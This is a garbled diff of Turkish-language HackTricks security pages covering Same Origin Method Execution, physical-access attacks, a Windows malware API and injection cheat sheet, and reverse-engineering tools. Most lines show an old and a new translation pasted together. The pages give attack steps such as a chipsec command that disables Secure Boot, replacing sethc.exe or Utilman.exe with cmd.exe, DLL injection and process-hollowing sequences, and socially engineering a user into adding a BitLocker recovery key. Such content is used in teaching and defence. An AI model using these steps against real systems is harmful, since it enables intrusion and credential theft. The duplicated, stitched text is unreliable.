[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **zarar görüp görmediğini** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Same Origin Method Execution ## Same Origin Method Execution
Bir sayfada sınırlı javascript çalıştırabileceğiniz durumlar olacaktır. Örneğin, [**çalıştırılacak bir geri çağırma değerini kontrol edebildiğiniz**](./#javascript-function) durumlarda. Bir sayfada sınırlı javascript çalıştırabileceğiniz durumlar olacaktır. Örneğin, [**çalıştırılacak bir geri çağırma değerini kontrol edebildiğiniz**](./#javascript-function) durumlarda.
Bu durumlarda yapabileceğiniz en iyi şey, **orada bulabileceğiniz** hassas bir eylemi çağırmak için **DOM'a erişmek** olacaktır (örneğin bir düğmeye tıklamak). Ancak genellikle bu güvenlik açığını **ilginç bir şey olmayan küçük uç noktalar** içinde bulacaksınız. Bu durumlarda yapabileceğiniz en iyi şeylerden biri, **orada bulabileceğiniz herhangi bir** hassas eylemi çağırmak için **DOM'a erişmek** olacaktır (örneğin bir düğmeye tıklamak). Ancak, genellikle bu güvenlik açığını **DOM'da ilginç bir şey olmayan küçük uç noktalar** içinde bulacaksınız.
Bu senaryolarda, bu saldırı çok faydalı olacaktır, çünkü amacı, **aynı alan adından farklı bir sayfa içindeki sınırlı JS yürütmesini kötüye kullanabilmektir** ve daha ilginç eylemler gerçekleştirmektir. Bu senaryolarda, bu saldırı çok faydalı olacaktır, çünkü amacı, **aynı alan adından farklı bir sayfa içindeki sınırlı JS yürütmesini kötüye kullanabilmek** ve daha ilginç eylemler gerçekleştirmektir.
Temelde, saldırı akışı şu şekildedir: Temelde, saldırı akışı şu şekildedir:
* **kötüye kullanabileceğiniz bir geri çağırma bulun** (potansiyel olarak \[\w\\.\_] ile sınırlı). * **Kötüye kullanabileceğiniz bir geri çağırma bulun** (potansiyel olarak \[\w\\.\_] ile sınırlı).
* Eğer sınırlı değilse ve herhangi bir JS çalıştırabiliyorsanız, bunu normal bir XSS olarak kötüye kullanabilirsiniz. * Eğer sınırlı değilse ve herhangi bir JS çalıştırabiliyorsanız, bunu normal bir XSS olarak kötüye kullanabilirsiniz.
* **kurbanı bir sayfa açmaya zorlayın** **saldırgan** tarafından kontrol edilen. * **Kurbanı,** **saldırgan** tarafından kontrol edilen bir **sayfayı açmaya** zorlayın.
* **sayfa kendisini** **farklı bir pencerede** açacaktır (yeni pencere, başlangıçtaki nesne **`opener`** ile referans alacaktır). * **Sayfa kendini** **farklı bir pencerede** açacaktır (yeni pencere, başlangıçtaki nesne **`opener`** ile referans alacaktır).
* **ilk sayfa**, **ilginç DOM**'un bulunduğu **sayfayı** yükleyecektir. * **Başlangıç sayfası**, **ilginç DOM'un** bulunduğu **sayfayı** yükleyecektir.
* **ikinci sayfa**, **geri çağırmayı kötüye kullanarak** **kırılgan sayfayı** yükleyecek ve **ilk sayfadaki** bazı eylemleri **erişmek ve yürütmek için `opener` nesnesini** kullanacaktır (artık ilginç DOM'u içermektedir). * **İkinci sayfa**, **geri çağırmayı kötüye kullanarak** **savunmasız sayfayı** yükleyecek ve **`opener`** nesnesini kullanarak **başlangıç sayfasında bazı eylemleri erişip çalıştıracaktır** (artık ilginç DOM'u içermektedir).
{% hint style="danger" %} {% hint style="danger" %}
İlk sayfa, ikinci sayfayı oluşturduktan sonra yeni bir URL'ye erişse bile, **ikinci sayfanın `opener` nesnesi, yeni DOM'daki ilk sayfaya hala geçerli bir referanstır**. Başlangıç sayfası, ikinci sayfayı oluşturduktan sonra yeni bir URL'ye erişse bile, **ikinci sayfanın `opener` nesnesi, yeni DOM'daki ilk sayfaya geçerli bir referans olmaya devam eder**.
Ayrıca, ikinci sayfanın opener nesnesini kullanabilmesi için **her iki sayfanın da aynı kökene sahip olması gerekir**. Bu, bu güvenlik açığını kötüye kullanmak için bazı türde bir **aynı köken XSS** bulmanız gerektiği anlamına gelir. Ayrıca, ikinci sayfanın opener nesnesini kullanabilmesi için **her iki sayfanın da aynı kökene sahip olması gerekir**. Bu, bu güvenlik açığını kötüye kullanmak için bazı türde **aynı köken içinde XSS bulmanız gerektiği** anlamına gelir.
{% endhint %} {% endhint %}
### Exploitation ### Exploitation
* Bu tür bir güvenlik açığını istismar etmek için **bir PoC oluşturmak** için bu formu kullanabilirsiniz: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator) * Bu formu kullanarak bu tür bir güvenlik açığını istismar etmek için **bir PoC oluşturabilirsiniz**: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
* Bir HTML öğesine tıklamak için bir DOM yolu bulmak üzere bu tarayıcı uzantısını kullanabilirsiniz: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool) * Bir HTML öğesine tıklayarak bir DOM yolu bulmak için bu tarayıcı uzantısını kullanabilirsiniz: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
### Örnek ### Örnek
* Kırılgan bir örneği [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/) adresinde bulabilirsiniz. * Savunmasız bir örneği [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/) adresinde bulabilirsiniz.
* Bu örnekte sunucunun **javascript kodu ürettiğini** ve **geri çağırma parametresinin içeriğine** dayanarak HTML'ye **eklediğini** unutmayın: `<script>opener.{callbacl_content}</script>` . Bu nedenle bu örnekte `opener` kullanımınııkça belirtmenize gerek yoktur. * Bu örnekte sunucunun **javascript kodu ürettiğini** ve **geri çağırma parametresinin içeriğine göre** HTML'ye eklediğini unutmayın: `<script>opener.{callbacl_content}</script>` . Bu nedenle bu örnekte `opener` kullanımınııkça belirtmenize gerek yoktur.
* Ayrıca bu CTF yazımını kontrol edin: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068) * Ayrıca bu CTF yazısını kontrol edin: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
## Referanslar ## Referanslar
@ -76,7 +62,7 @@ GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -9,51 +9,37 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan bir **karanlık ağ** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
---
## BIOS Şifre Kurtarma ve Sistem Güvenliği ## BIOS Şifre Kurtarma ve Sistem Güvenliği
**BIOS'u sıfırlamak**, birkaç şekilde gerçekleştirilebilir. Çoğu anakart, çıkarıldığında yaklaşık **30 dakika** boyunca BIOS ayarlarını, şifreyi de içerecek şekilde sıfırlayan bir **pil** içerir. Alternatif olarak, belirli pinleri bağlayarak bu ayarları sıfırlamak için **anakart üzerindeki bir jumper** ayarlanabilir. **BIOS'u sıfırlamak**, birkaç şekilde gerçekleştirilebilir. Çoğu anakart, **30 dakika** kadar çıkarıldığında BIOS ayarlarını, şifreyi de içerecek şekilde sıfırlayan bir **pil** içerir. Alternatif olarak, belirli pinleri bağlayarak bu ayarları sıfırlamak için **anakart üzerindeki bir jumper** ayarlanabilir.
Donanım ayarlamalarının mümkün veya pratik olmadığı durumlar için, **yazılım araçları** bir çözüm sunar. **Kali Linux** gibi dağıtımlarla bir **Live CD/USB** üzerinden sistem çalıştırmak, BIOS şifre kurtarma konusunda yardımcı olabilecek **_killCmos_** ve **_CmosPWD_** gibi araçlara erişim sağlar. Donanım ayarlamalarının mümkün veya pratik olmadığı durumlar için, **yazılım araçları** bir çözüm sunar. **Kali Linux** gibi dağıtımlarla bir **Live CD/USB** üzerinden sistem çalıştırmak, BIOS şifre kurtarma konusunda yardımcı olabilecek **_killCmos_** ve **_CmosPWD_** gibi araçlara erişim sağlar.
BIOS şifresi bilinmediğinde, yanlış girildiğinde genellikle **üç kez** hata kodu ile sonuçlanır. Bu kod, kullanılabilir bir şifre almak için [https://bios-pw.org](https://bios-pw.org) gibi web sitelerinde kullanılabilir. BIOS şifresi bilinmediğinde, yanlış girildiğinde genellikle **üç kez** hata kodu ile sonuçlanır. Bu kod, kullanılabilir bir şifre elde etmek için [https://bios-pw.org](https://bios-pw.org) gibi web sitelerinde kullanılabilir.
### UEFI Güvenliği ### UEFI Güvenliği
Geleneksel BIOS yerine **UEFI** kullanan modern sistemler için, **chipsec** aracı, **Secure Boot**'u devre dışı bırakma da dahil olmak üzere UEFI ayarlarını analiz etmek ve değiştirmek için kullanılabilir. Bu, aşağıdaki komutla gerçekleştirilebilir: Geleneksel BIOS yerine **UEFI** kullanan modern sistemler için, **chipsec** aracı UEFI ayarlarını analiz etmek ve değiştirmek için kullanılabilir, bu da **Secure Boot**'un devre dışı bırakılmasını içerir. Bu, aşağıdaki komutla gerçekleştirilebilir:
`python chipsec_main.py -module exploits.secure.boot.pk` `python chipsec_main.py -module exploits.secure.boot.pk`
### RAM Analizi ve Soğuk Başlatma Saldırıları ### RAM Analizi ve Soğuk Başlatma Saldırıları
RAM, güç kesildiğinde verileri kısa bir süre, genellikle **1 ila 2 dakika** boyunca saklar. Bu süre, sıvı nitrojen gibi soğuk maddeler uygulanarak **10 dakikaya** kadar uzatılabilir. Bu uzatılmış süre boyunca, analiz için **dd.exe** ve **volatility** gibi araçlar kullanılarak bir **bellek dökümü** oluşturulabilir. RAM, güç kesildiğinde verileri kısa bir süre, genellikle **1 ila 2 dakika** boyunca saklar. Bu süre, sıvı azot gibi soğuk maddeler uygulanarak **10 dakikaya** kadar uzatılabilir. Bu uzatılmış süre boyunca, analiz için **dd.exe** ve **volatility** gibi araçlar kullanılarak bir **bellek dökümü** oluşturulabilir.
### Doğrudan Bellek Erişimi (DMA) Saldırıları ### Doğrudan Bellek Erişimi (DMA) Saldırıları
**INCEPTION**, **FireWire** ve **Thunderbolt** gibi arayüzlerle uyumlu, **fiziksel bellek manipülasyonu** için tasarlanmış bir araçtır. Herhangi bir şifreyi kabul etmek için belleği yamanarak oturum açma prosedürlerini atlamaya olanak tanır. Ancak, **Windows 10** sistemlerine karşı etkisizdir. **INCEPTION**, **FireWire** ve **Thunderbolt** gibi arayüzlerle uyumlu **fiziksel bellek manipülasyonu** için tasarlanmış bir araçtır. Herhangi bir şifreyi kabul etmek için belleği yamanarak oturum açma prosedürlerini atlamaya olanak tanır. Ancak, **Windows 10** sistemlerine karşı etkisizdir.
### Sistem Erişimi için Live CD/USB ### Sistem Erişimi için Live CD/USB
**_sethc.exe_** veya **_Utilman.exe_** gibi sistem ikili dosyalarını **_cmd.exe_** kopyası ile değiştirmek, sistem ayrıcalıklarıyla bir komut istemcisi sağlayabilir. **chntpw** gibi araçlar, bir Windows kurulumunun **SAM** dosyasını düzenlemek için kullanılabilir ve şifre değişikliklerine olanak tanır. **_sethc.exe_** veya **_Utilman.exe_** gibi sistem ikili dosyalarını **_cmd.exe_** kopyası ile değiştirmek, sistem ayrıcalıkları ile bir komut istemi sağlayabilir. **chntpw** gibi araçlar, bir Windows kurulumunun **SAM** dosyasını düzenlemek için kullanılabilir ve şifre değişikliklerine olanak tanır.
**Kon-Boot**, Windows çekirdeğini veya UEFI'yi geçici olarak değiştirerek şifreyi bilmeden Windows sistemlerine giriş yapmayı kolaylaştıran bir araçtır. Daha fazla bilgi [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) adresinde bulunabilir. **Kon-Boot**, Windows çekirdeğini veya UEFI'yi geçici olarak değiştirerek şifreyi bilmeden Windows sistemlerine giriş yapmayı kolaylaştıran bir araçtır. Daha fazla bilgi [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) adresinde bulunabilir.
@ -71,27 +57,15 @@ RAM, güç kesildiğinde verileri kısa bir süre, genellikle **1 ila 2 dakika**
#### Hacim Gölge Kopyası #### Hacim Gölge Kopyası
Yönetici ayrıcalıkları, PowerShell aracılığıyla **SAM** dosyası da dahil olmak üzere hassas dosyaların kopyalarını oluşturma olanağı sağlar. Yönetici ayrıcalıkları, PowerShell aracılığıyla **SAM** dosyası da dahil olmak üzere hassas dosyaların kopyalarını oluşturma imkanı sağlar.
### BitLocker Şifrelemesini Aşma ### BitLocker Şifrelemesini Atlatma
BitLocker şifrelemesi, **kurtarma şifresi** bir bellek döküm dosyasında (**MEMORY.DMP**) bulunursa potansiyel olarak aşılabilir. Bu amaçla **Elcomsoft Forensic Disk Decryptor** veya **Passware Kit Forensic** gibi araçlar kullanılabilir. BitLocker şifrelemesi, **kurtarma şifresi** bir bellek döküm dosyasında (**MEMORY.DMP**) bulunursa potansiyel olarak atlatılabilir. Bu amaçla **Elcomsoft Forensic Disk Decryptor** veya **Passware Kit Forensic** gibi araçlar kullanılabilir.
### Kurtarma Anahtarı Ekleme için Sosyal Mühendislik ### Kurtarma Anahtarı Ekleme için Sosyal Mühendislik
Yeni bir BitLocker kurtarma anahtarı, bir kullanıcıyı sıfırlardan oluşan yeni bir kurtarma anahtarı ekleyecek bir komutu çalıştırmaya ikna ederek sosyal mühendislik taktikleriyle eklenebilir ve böylece şifre çözme süreci basitleştirilebilir. Yeni bir BitLocker kurtarma anahtarı, bir kullanıcıyı sıfırlama işlemi gerçekleştirmeye ikna ederek, sıfırlama anahtarını sıfırlardan oluşan bir komut çalıştırmasını sağlayarak eklenebilir, böylece şifre çözme süreci basitleştirilir.
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan bir **karanlık ağ** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -102,7 +76,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -9,34 +9,26 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Genel ## Genel
### Ağ ### Ağ
| Ham Soketler | WinAPI Soketleri | | Ham Soketler | WinAPI Soketleri |
| -------------- | ---------------- | | -------------- | ----------------- |
| socket() | WSAStratup() | | socket() | WSAStratup() |
| bind() | bind() | | bind() | bind() |
| listen() | listen() | | listen() | listen() |
| accept() | accept() | | accept() | accept() |
| connect() | connect() | | connect() | connect() |
| read()/recv() | recv() | | read()/recv() | recv() |
| write() | send() | | write() | send() |
| shutdown() | WSACleanup() | | shutdown() | WSACleanup() |
### Süreklilik ### Süreklilik
@ -59,7 +51,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
| CryptDecrypt() | | CryptDecrypt() |
| CryptReleaseContext() | | CryptReleaseContext() |
### Analiz/VM Karşıtı ### Analiz/VM'ye Karşı
| Fonksiyon Adı | Assembly Talimatları | | Fonksiyon Adı | Assembly Talimatları |
| --------------------------------------------------------- | --------------------- | | --------------------------------------------------------- | --------------------- |
@ -74,7 +66,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
| İsim | | | İsim | |
| ------------------------ | -------------------------------------------------------------------------- | | ------------------------ | -------------------------------------------------------------------------- |
| VirtualAlloc | Bellek ayırma (paketleyiciler) | | VirtualAlloc | Bellek ayırma (paketleyiciler) |
| VirtualProtect | Bellek izni değiştirme (paketleyici bir bölüme yürütme izni verme) | | VirtualProtect | Bellek izni değiştirme (paketleyici bir bölüme yürütme izni verme) |
| ReadProcessMemory | Dış süreçlere enjekte etme | | ReadProcessMemory | Dış süreçlere enjekte etme |
| WriteProcessMemoryA/W | Dış süreçlere enjekte etme | | WriteProcessMemoryA/W | Dış süreçlere enjekte etme |
@ -107,7 +99,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- İnternete erişim * InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- İnternete erişim
* FindResource(), LoadResource(), LockResource() -- Yürütülebilir dosyanın kaynaklarına erişim * FindResource(), LoadResource(), LockResource() -- Yürütülebilir dosyanın kaynaklarına erişim
## Kötü Amaçlı Yazılım Teknikleri ## Malware Teknikleri
### DLL Enjeksiyonu ### DLL Enjeksiyonu
@ -132,7 +124,7 @@ Bir süreçten bir iş parçacığı bulun ve onu kötü amaçlı bir DLL yükle
1. Hedef iş parçacığını bulun: CreateToolhelp32Snapshot, Thread32First, Thread32Next 1. Hedef iş parçacığını bulun: CreateToolhelp32Snapshot, Thread32First, Thread32Next
2. İş parçacığınıın: OpenThread 2. İş parçacığınıın: OpenThread
3. İş parçacığını askıya alın: SuspendThread 3. İş parçacığını askıya alın: SuspendThread
4. Kötü amaçlı DLL'nin yolunu kurban sürecinin içine yazın: VirtualAllocEx, WriteProcessMemory 4. Kurban sürecinin içine kötü amaçlı DLL'nin yolunu yazın: VirtualAllocEx, WriteProcessMemory
5. Kütüphaneyi yükleyen iş parçacığını devam ettirin: ResumeThread 5. Kütüphaneyi yükleyen iş parçacığını devam ettirin: ResumeThread
### PE Enjeksiyonu ### PE Enjeksiyonu
@ -141,18 +133,33 @@ Taşınabilir Yürütme Enjeksiyonu: Yürütülebilir dosya, kurban sürecinin b
### Süreç Boşaltma ### Süreç Boşaltma
Kötü amaçlı yazılım, sürecin belleğinden meşru kodu kaldıracak ve kötü amaçlı bir ikili dosyayı yükleyecektir. Kötü amaçlı yazılım, sürecin belleğinden meşru kodu kaldıracak ve kötü amaçlı bir ikili dosya yükleyecektir.
1. Yeni bir süreç oluşturun: CreateProcess 1. Yeni bir süreç oluşturun: CreateProcess
2. Belleği boşaltın: ZwUnmapViewOfSection, NtUnmapViewOfSection 2. Belleği boşaltın: ZwUnmapViewOfSection, NtUnmapViewOfSection
3. Kötü amaçlı ikili dosyayı süreç belleğine yazın: VirtualAllocEc, WriteProcessMemory 3. Süreç belleğine kötü amaçlı ikili dosyayı yazın: VirtualAllocEc, WriteProcessMemory
4. Giriş noktasını ayarlayın ve yürütün: SetThreadContext, ResumeThread 4. Giriş noktasını ayarlayın ve yürütün: SetThreadContext, ResumeThread
## Hooking ## Hooking
* **SSDT** (**Sistem Servis Tanımlayıcı Tablosu**), kullanıcı süreçlerinin bu fonksiyonları çağırabilmesi için çekirdek fonksiyonlarına (ntoskrnl.exe) veya GUI sürücüsüne (win32k.sys) işaret eder. * **SSDT** (**Sistem Servis Tanımlayıcı Tablosu**), kullanıcı süreçlerinin bu fonksiyonları çağırabilmesi için çekirdek fonksiyonlarına (ntoskrnl.exe) veya GUI sürücüsüne (win32k.sys) işaret eder.
* Bir rootkit, bu işaretçileri kontrol ettiği adreslere değiştirebilir. * Bir rootkit, bu işaretçileri kontrol ettiği adreslere değiştirebilir.
* **IRP** (**G/Ç İstek Paketleri**), bir bileşenden diğerine veri parçaları iletir. Çekirdek içindeki hemen hemen her şey IRP'leri kullanır ve her cihaz nesnesinin kendi işlev tablosu vardır ve bu tablonun hook'lanması mümkündür: DKOM (Doğrudan Çekirdek Nesne Manipülasyonu) * **IRP** (**G/Ç İstek Paketleri**), bir bileşenden diğerine veri parçaları iletir. Çekirdek içinde hemen hemen her şey IRP'leri kullanır ve her cihaz nesnesinin kendi işlev tablosu vardır ve bu tabloya hook yapılabilir: DKOM (Doğrudan Çekirdek Nesne Manipülasyonu)
* **IAT** (**İthalat Adres Tablosu**), bağımlılıkları çözmek için yararlıdır. Bu tabloyu hook'layarak çağrılacak kodu ele geçirmek mümkündür. * **IAT** (**İthalat Adres Tablosu**), bağımlılıkları çözmek için yararlıdır. Bu tabloyu hooklamak, çağrılacak kodu ele geçirmek için mümkündür.
* **EAT** (**İhracat Adres Tablosu**) Hook'ları. Bu hook'lar **kullanıcı alanından** yapılabilir. Amaç, DLL'ler tarafından ihraç edilen fonksiyonları hook'lamaktır. * **EAT** (**İhracat Adres Tablosu**) Hook'ları. Bu hook'lar **kullanıcı alanından** yapılabilir. Amaç, DLL'ler tarafından ihraç edilen fonksiyonları hooklamaktır.
* **Inline Hook'lar**: Bu türler elde edilmesi zor. Bu, fonksiyonların kendisinin kodunu değiştirmeyi içerir. Belki de bunun başına bir atlama koyarak. * **Inline Hook'lar**: Bu türler elde edilmesi zor. Bu, fonksiyonların kendisinin kodunu değiştirmeyi içerir. Belki de bunun başına bir atlama koyarak.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -9,20 +9,12 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## ImGui Tabanlı Tersine Mühendislik Araçları ## ImGui Tabanlı Tersine Mühendislik Araçları
Yazılım: Yazılım:
@ -48,7 +40,7 @@ Yazılım:
